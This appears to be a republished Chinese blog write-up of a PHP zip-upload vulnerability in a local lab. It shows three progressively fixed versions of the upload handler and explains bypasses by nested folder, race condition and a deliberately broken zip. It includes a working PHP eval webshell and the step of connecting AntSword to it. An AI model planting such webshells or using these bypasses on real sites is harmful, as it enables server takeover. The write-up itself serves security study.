phpcms上传漏洞

原始漏洞

漏洞原理:我们上传一个zip的压缩包,它会解压然后删除其中不是.jpg .gig .png的文件

  1. function check_dir($dir):这是一个PHP函数的定义,它接受一个参数 $dir,代表要检查的目录路径。

  2. $handle = opendir($dir);:使用 opendir 函数打开指定目录,并将返回的目录句柄赋值给变量 $handle

  3. while (($f = readdir($handle)) !== false):使用 readdir 函数循环读取目录中的文件,每次循环将文件名赋给变量 $f

  4. if (!in_array($f, array('.', '..'))) { ... }:在每次循环中,检查当前文件名是否为当前目录(.)或父目录(..),如果不是,则执行下面的操作。

  5. $ext = strtolower(substr(strrchr($f, '.'), 1));:使用 strrchr 函数找到文件名中的最后一个 .,然后使用 substr 截取文件扩展名,并用 strtolower 将其转换为小写。

  6. if (!in_array($ext, array('jpg', 'gif', 'png'))) { unlink($dir . $f); }:如果文件的扩展名不是jpg、gif或png,则使用 unlink 函数删除该文件。

<?php
header("Content-Type:text/html; charset=utf-8");
require_once('pclzip.lib.php');$file = $_FILES['file'];
if ($file['size'] == 0) {exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'uploads/';
$ext = strtolower(substr(strrchr($name, '.'), 1));function check_dir($dir)
{$handle = opendir($dir);while (($f = readdir($handle)) !== false) {if (!in_array($f, array('.', '..'))) {$ext = strtolower(substr(strrchr($f, '.'), 1));if (!in_array($ext, array('jpg', 'gif', 'png'))) {unlink($dir . $f);}}}
}if (!is_dir($dir)) {mkdir($dir);
}$temp_dir = $dir . 'member/1/';
if (!is_dir($temp_dir)) {mkdir($temp_dir);
}if (in_array($ext, array('zip', 'jpg', 'gif', 'png'))) {if ($ext == 'zip') {$archive = new PclZip($file['tmp_name']);if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {exit("解压失败");}check_dir($temp_dir);exit('上传成功!');} else {move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']);check_dir($temp_dir);exit('上传成功!');}
} else {exit('仅允许上传zip、jpg、gif、png文件!');
}

如果我们把图片和php一句话木马文件一起压缩,上传后就会发现php被删除了。

绕过方法:我们把php文件单独放在一个文件夹中,然后将这个文件夹和图片一起压缩成zip,然后上传

这个bbb文件夹里面的111.php就没有被删除了,然后就可以连接蚁剑了

修复后版本

上面主要是没有进行递归删除导致的绕过,修复之后进行了递归删除

<?php
header("Content-Type:text/html; charset=utf-8");
require_once('pclzip.lib.php');$file = $_FILES['file'];
if ($file['size'] == 0) {exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'uploads/';
$ext = strtolower(substr(strrchr($name, '.'), 1));function check_dir($dir)
{$handle = opendir($dir);while (($f = readdir($handle)) !== false) {if (!in_array($f, array('.', '..'))) {if (is_dir($dir . $f)) {check_dir($dir . $f . '/');} else {$ext = strtolower(substr(strrchr($f, '.'), 1));if (!in_array($ext, array('jpg', 'gif', 'png'))) {unlink($dir . $f);}}}}
}if (!is_dir($dir)) {mkdir($dir);
}$temp_dir = $dir . 'member/1/';
if (!is_dir($temp_dir)) {mkdir($temp_dir);
}if (in_array($ext, array('zip', 'jpg', 'gif', 'png'))) {if ($ext == 'zip') {// $zip = new ZipArchive;// if(!$zip->open($file['tmp_name'])) {//     echo "fail";//     return false;// }// if(!$zip->extractTo($temp_dir)) {//     // check_dir($temp_dir);//     exit('fail to zip');// }$archive = new PclZip($file['tmp_name']);if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {exit("解压失败");}check_dir($temp_dir);exit('上传成功!');} else {move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']);check_dir($temp_dir);exit('上传成功!');}
} else {exit('仅允许上传zip、jpg、gif、png文件!');
}

上传zip后我们发现,bbb中的111.php就被删除了

但是代码逻辑是先解压,后删除,我们就用时间竞争来绕过

因为我发现,同时使用burp上传和访问,经过多次尝试没有成功,我换了个操作,使用手动上传zip,burp访问php,多次手动上传之后,成功了

在我们的uploads下面生成了一句话木马文件,直接连蚁剑

再次修复版

<?php
header("Content-Type:text/html; charset=utf-8");
require_once('pclzip.lib.php');$file = $_FILES['file'];
if ($file['size'] == 0) {exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'uploads/';
$ext = strtolower(substr(strrchr($name, '.'), 1));function check_dir($dir)
{$handle = opendir($dir);while (($f = readdir($handle)) !== false) {if (!in_array($f, array('.', '..'))) {if (is_dir($dir . $f)) {check_dir($dir . $f . '/');} else {$ext = strtolower(substr(strrchr($f, '.'), 1));if (!in_array($ext, array('jpg', 'gif', 'png'))) {unlink($dir . $f);}}}}
}if (!is_dir($dir)) {mkdir($dir);
}$temp_dir = $dir . 'member/1/';
if (!is_dir($temp_dir)) {mkdir($temp_dir);
}$temp_dir = $dir.md5(time(). rand(1000,9999)).'/'; //随机数生成文件,无法确定文件路径及文件名
if (in_array($ext, array('zip', 'jpg', 'gif', 'png'))) {if ($ext == 'zip') {$zip = new ZipArchive;if(!$zip->open($file['tmp_name'])) {echo "fail";return false;}if(!$zip->extractTo($temp_dir)) {// check_dir($temp_dir);exit('fail to zip');}// $archive = new PclZip($file['tmp_name']);// if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {//     exit("解压失败");// }check_dir($temp_dir);exit('上传成功!');} else {move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']);check_dir($temp_dir);exit('上传成功!');}
} else {exit('仅允许上传zip、jpg、gif、png文件!');
}

他还是先解压报错,后删除文件,我们制作一个能报错的zip,内含一句话木马的,然后直接上传错误的zip。

111.php:

<?php
@eval($_POST['a']);
?>

在aaaaaaa中存在以上文件,生成aaaaaaa.zip压缩包,然后对压缩包进行制作

最后解压要报错

将制作好的zip上传,同时使用burp连续访问

http://192.168.43.244/upload/uploads/26ae527babcadb24e0aedf1c9c0bcb3e/111.php

手动多次上传zip保证刚解压出来的111.php被访问到

发现上传成功了,生成了随机名文件

查看一句话木马发现已经生成

上蚁剑

造成以上漏洞的原因就是,解压完成的文件没有进行递归删除,导致包含其中的一句话木马绕过了。

三次修复版本

他是在上面的修复中,加了一个递归删除操作,这样做会将解压后的文件夹中的文件再进行递归删除。

        if(!$zip->extractTo($temp_dir)) {check_dir($temp_dir);exit('fail to zip');}

再次上传我们发现随机文件下的木马没了

这个的绕过方式就是逃出递归删除的目录,在解压的时候,将php直接上传到非解压路径

修改以上三个地方即可

不过我在复现时,zip怎么都不报错,暂时没成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/540097.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Gartner最新生成式AI报告:300个行业用例揭示GenAI垂直行业发展的五个关键的不确定性

我们对各行业 GenAI 用例的分析揭示了高管在规划工作时面临的五个关键不确定性。首席信息官可以利用这项研究来战略性地应对这些不确定性&#xff0c;并最大限度地提高 GenAI 投资的成果。 主要发现 我们对 300 多个特定行业的生成式 AI 用例的分析揭示了五个关键的不确定性&am…

java将oss链接打包成压缩包并返回

博主介绍&#xff1a; 22届计科专业毕业&#xff0c;来自湖南&#xff0c;主要是在CSDN记录一些自己在Java开发过程中遇到的一些问题&#xff0c;欢迎大家一起讨论学习&#xff0c;也欢迎大家的批评指正。 文章目录 前言解决注意结果展示 前言 需求&#xff1a;在用户列表中的…

SpringTask实现的任务调度与XXL-job实现的分布式任务调度【XXL-Job工作原理】

目录 任务调度 分布式任务调度 分布式任务调度存在的问题以及解决方案 使用SpringTask实现单体服务的任务调度 XXL-job分布式任务调度系统工作原理 XXL-job系统组成 XXL-job工作原理 使用XXL-job实现分布式任务调度 配置调度中心XXL-job 登录调度中心创建执行器和任务 …

渗透测试实战思路分析

免责声明&#xff1a;文章来源真实渗透测试&#xff0c;已获得授权&#xff0c;且关键信息已经打码处理&#xff0c;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人…

状态机高阶讲解-05

887 00:38:03,240 --> 00:38:04,330 在外面 888 00:38:05,130 --> 00:38:06,120 有 889 00:38:06,400 --> 00:38:08,475 请求进来的时候 890 00:38:08,475 --> 00:38:10,550 有消息进来的时候 891 00:38:11,630 --> 00:38:14,000 那么经过我们状态机 892 0…

白话transformer(三):Q K V矩阵代码演示

在前面文章讲解了QKV矩阵的原理&#xff0c;属于比较主观的解释&#xff0c;下面用简单的代码再过一遍加深下印象。 B站视频 白话transformer&#xff08;三&#xff09; 1、生成数据 我们呢就使用一个句子来做一个测试&#xff0c; text1 "我喜欢的水果是橙子和苹果&…

计算机网络——物理层(数据通信基础知识)

计算机网络——物理层&#xff08;1&#xff09; 物理层的基本概念数据通信的基本知识一些专业术语消息和数据信号码元 传输速率的两种表示方法带宽串行传输和并行传输同步传输和异步传输 信道基带信号调制常用编码方式 我们今天进入物理层的学习&#xff0c;如果还没有了解OSI…

爱普生晶振发布RTC模块晶振(压电侠)

爱普生晶振一直以”省&#xff0c;小&#xff0c;精”技术作为资深核心&#xff0c;并且已经建立了一个原始的垂直整合制造模型&#xff0c;可以自己创建独特的核心技术和设备&#xff0c;使用这些作为基地的规划和设计提供独特价值的产品. 世界领先的石英晶体技术精工爱普生公…

Python实现贝叶斯优化器(Bayes_opt)优化极限学习机回归模型(ELMRegressor算法)项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档视频讲解&#xff09;&#xff0c;如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 贝叶斯优化器 (BayesianOptimization) 是一种黑盒子优化器&#xff0c;用来寻找最优参数。 贝叶斯优化…

展厅装修主要流程是什么

1、展厅主题 沟通是展厅装修服务的前提&#xff0c;沟通营者对企业的基本情况了解&#xff0c;影响着展厅装修的服务质量&#xff0c;所以说在为参展商提供展厅装修服务时&#xff0c;都要与参展商进行详细的洽谈。 2、现场勘探 展厅装修的首要步骤就是需要先进入展会的场馆&am…

本地项目上传至远程git仓库

如何将本地项目上传至远程git仓库 在某些时候&#xff0c;本地写的小项目需要上传指定的git仓库。 在本地文件中选择要上传的项目文件目录&#xff0c;右键选择 Git Bash Here 初始化git git init关联远程库 git remote add origin https://github.com/xxxx/xxxx.git将文件添…

04- 基于SpringAMQP封装RabbitMQ,消息队列的Work模型和发布订阅模型

SpringAMQP 概述 使用RabbitMQ原生API在代码中设置连接MQ的参数比较繁琐,我们更希望把连接参数写在yml文件中来简化开发 SpringAMQP是基于AMQP协议定义的一套API规范,将RabbitMQ封装成一套模板用来发送和接收消息 AMQP(Advanced Message Queuing Portocol)是用于在应用程序…